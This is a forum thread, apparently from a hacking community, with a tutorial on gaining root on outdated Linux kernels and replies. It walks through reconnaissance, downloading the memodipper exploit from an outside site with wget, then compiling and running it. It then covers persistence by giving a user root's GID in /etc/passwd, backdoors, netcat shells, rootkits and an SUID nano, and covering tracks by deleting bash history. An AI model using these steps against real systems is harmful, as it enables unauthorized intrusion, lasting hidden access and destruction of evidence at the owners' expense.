Basic Linux privilege escalation by kernel exploits
#1
Basic Linux privilege escalation by kernel exploits

Foreword
This is nothing advanced, just a kind of introduction for people who are interested in gaining root access on any server or machine that might have an outdated Linux kernel. I will be using an older version of Ubuntu for this. If you're looking for more in-depth knowledge or other alternative methods to privilege escalation there's plenty of resources at other places.

Terminology:
# - Equivalent to your average bash comment, you can ignore this in the [*code] tags. It's just a small explanation at what's being done.
~$ - In Linux, it means running the command as a non-root user.
~#
- In Linux, it means running the command as the root user.

1. Information Gathering.
First step in all offensive security operations is to always gain information about your target. Even if it's just as little as checking up what kind of webserver a target has before a ddos attack. Information is a crucial key for success in your operations.

I suggest you find out the most basic information like:
* Current user
* OS version
* Kernel version

On most unix based system you can do so with the following commands:
Code:
~$ whoami
~$ lsb_release -a
~$ uname -a

In this case I gained the following output:
Code:
# Current User
~$ whoami
example_user

# OS version
~$ lsb_release -a
Distributor ID:    Ubuntu
Description:    Ubuntu 11.0
Release:    11.0
Codename:    oneirc

# Kernel Version
~$ uname -a
Linux nebula 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42 UTC 2011 i686 i686 i386 GNU/Linux

With that information we can conclude that:
* We are currently using the example_user.
* OS version is Ubuntu 11.0
* Kernel version is 3.0.0

But we don't have root access on example_user, we can't run harmful commands here hehe.. so we'll have to look for something vulnerable in this system to exploit it. Normally you can also look for other services on the system that might be vulnerable through different CVE vulnerability databases (like https://www.exploit-db.com/ but I'm lazy and kernel exploits on old systems are usually quick..)

So with that said, check into https://www.kernel-exploits.com or any other exploit database and start searching for exploits affected by this kernel version. In this case: https://www.kernel-exploits.com/kernel/?version=3.0.0


2. Gain access.
As you can see through this exploit database "search engine" there is currently three different exploits with that could potentially be used on this outdated version of Ubuntu. They are the following:
* memodipper
* perf_swevent
* msr

You can try any of them, I'm just going to try the memodipper exploit in this case. If you want to go deeper, look through their source to get an idea of what it does. Also check out the authors PoC articles. You can find the PoC for memodipper here: https://git.zx2c4.com/CVE-2012-0056/about/ (Linux Local Privilege Escalation via SUID /proc/pid/mem Write)

Start by downloading the exploit, compiling it into an executable and then execute it to achieve #Root! Which is usually done by the following:
Code:
# Download source code
~$ wget https://www.kernel-exploits.com/media/memodipper.c

# Compile source with gcc compiler into a file called exploit
~$ gcc -o exploit memodipper.c

# Execute said elf file called "exploit"
~$ ./exploit

# Tada as you can see, you have root! The following should return ´root´
~# whoami


3. Maintaining access.
Now that you have rooted the system with a kernel exploit, you might consider maintaining access in a more permanent way. Usually an exploit is a way in but not a permanent way to stay root, some exploits just involve breaking out of chroot jail but will not let you keep root next time you restart. What you might consider doing could possibly to edit the /etc/passwd in linux to change the permission group on your current example_user to root.

How that is done is pretty straightforward, just learn your way around etc/passwd: http://www.cyberciti.biz/faq/understandi...le-format/
What you want to do is to change the group id (GID) on your non-root account to give you root access. Just use the same GID as the root user, which is usually 0 from my understanding.

That is of course one of countless ways of keeping access, you can establish back-connect backdoors and what not. And the question if this really is the most stealthiest way is a whole different story. There's other more covert methods to stay hidden, but considering this is a very old version of Ubuntu I wouldn't expect the sysadmin to keep much of an eye on his system, eh.

You could also consider deleting some of the logs you left behind during the operation, like ~/.bash_history file: http://ubuntuguide.net/how-to-clear-logi...untu-linux

Reference: https://exploit-exercises.com/
Reply
#2
To automate some of the work that goes into finding a suitable exploit for the machine you are working, there are a number of exploit suggesting and enumeration scripts available. As you may recall, i authored a script in Bash that collects and unzips precisely these kind of tools that would be useful in this scenario. And i think that the script in question, along with the information you provided here, would be a nice addition to the thread as a whole.

If anyone's interested, the tool can be found here.
Reply
#3
(11-01-2016, 03:14 AM)Vector Wrote: To automate some of the work that goes into finding a suitable exploit for the machine you are working, there are a number of exploit suggesting and enumeration scripts available. As you may recall, i authored a script in Bash that collects and unzips precisely these kind of tools that would be useful in this scenario. And i think that the script in question, along with the information you provided here, would be a nice addition to the thread as a whole.

If anyone's interested, the tool can be found here.

Oh yes that tool is very useful, I totally recommend it. Although I tried this tool on Ubuntu 15.04 recently with errors, I can't recall specifics but there was something about a bracket at a certain line. Anyhow I'll re-test it again on the older Ubuntu I had laying around later.
Reply
#4
(11-01-2016, 03:44 AM)Insider Wrote:
(11-01-2016, 03:14 AM)Vector Wrote: To automate some of the work that goes into finding a suitable exploit for the machine you are working, there are a number of exploit suggesting and enumeration scripts available. As you may recall, i authored a script in Bash that collects and unzips precisely these kind of tools that would be useful in this scenario. And i think that the script in question, along with the information you provided here, would be a nice addition to the thread as a whole.

If anyone's interested, the tool can be found here.

Oh yes that tool is very useful, I totally recommend it. Although I tried this tool on Ubuntu 15.04 recently with errors, I can't recall specifics but there was something about a bracket at a certain line. Anyhow I'll re-test it again on the older Ubuntu I had laying around later.

Oh? I just tested the latest version on Ubuntu 14.04, i can't seem to reproduce this error message.
Reply
#5
thanks for the write up and information, sweet and short.

Also to Vector for the github tool.

Any (other) suggestions for maintaining access? like setup a netcat shell
Reply
#6
Thanks for another HQ tutorial. I can feel my brain pumping  Idea
Reply
#7
(11-02-2016, 09:24 PM)urgp Wrote: Any (other) suggestions for maintaining access? like setup a netcat shell
Yeah, really just any type of backdoor. Including the method of using netcat, you could of course go further and use rootkits and stuff to hide it better. There's much information about that too.

(11-07-2016, 01:47 AM)Anthrax Wrote: Thanks for another HQ tutorial. I can feel my brain pumping  Idea
You're welcome, if there's any questions then let me know :p
Reply
#8
Or set the SUID bit to nano. Great tutorial mate!
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Windows Privilege Escalation (And more...) Insider 0 1,806 07-08-2020, 03:49 PM
Last Post: Insider
  Ideas for Privilege Escalation (Linux) Insider 2 2,262 04-30-2020, 12:19 AM
Last Post: DeepLogic
  [Kali linux] Not working public folders CalmnesSs 15 12,673 08-20-2018, 05:13 PM
Last Post: CalmnesSs
  How Can I Use Kali Linux To Hack Email code419 23 18,845 03-05-2018, 04:08 PM
Last Post: code419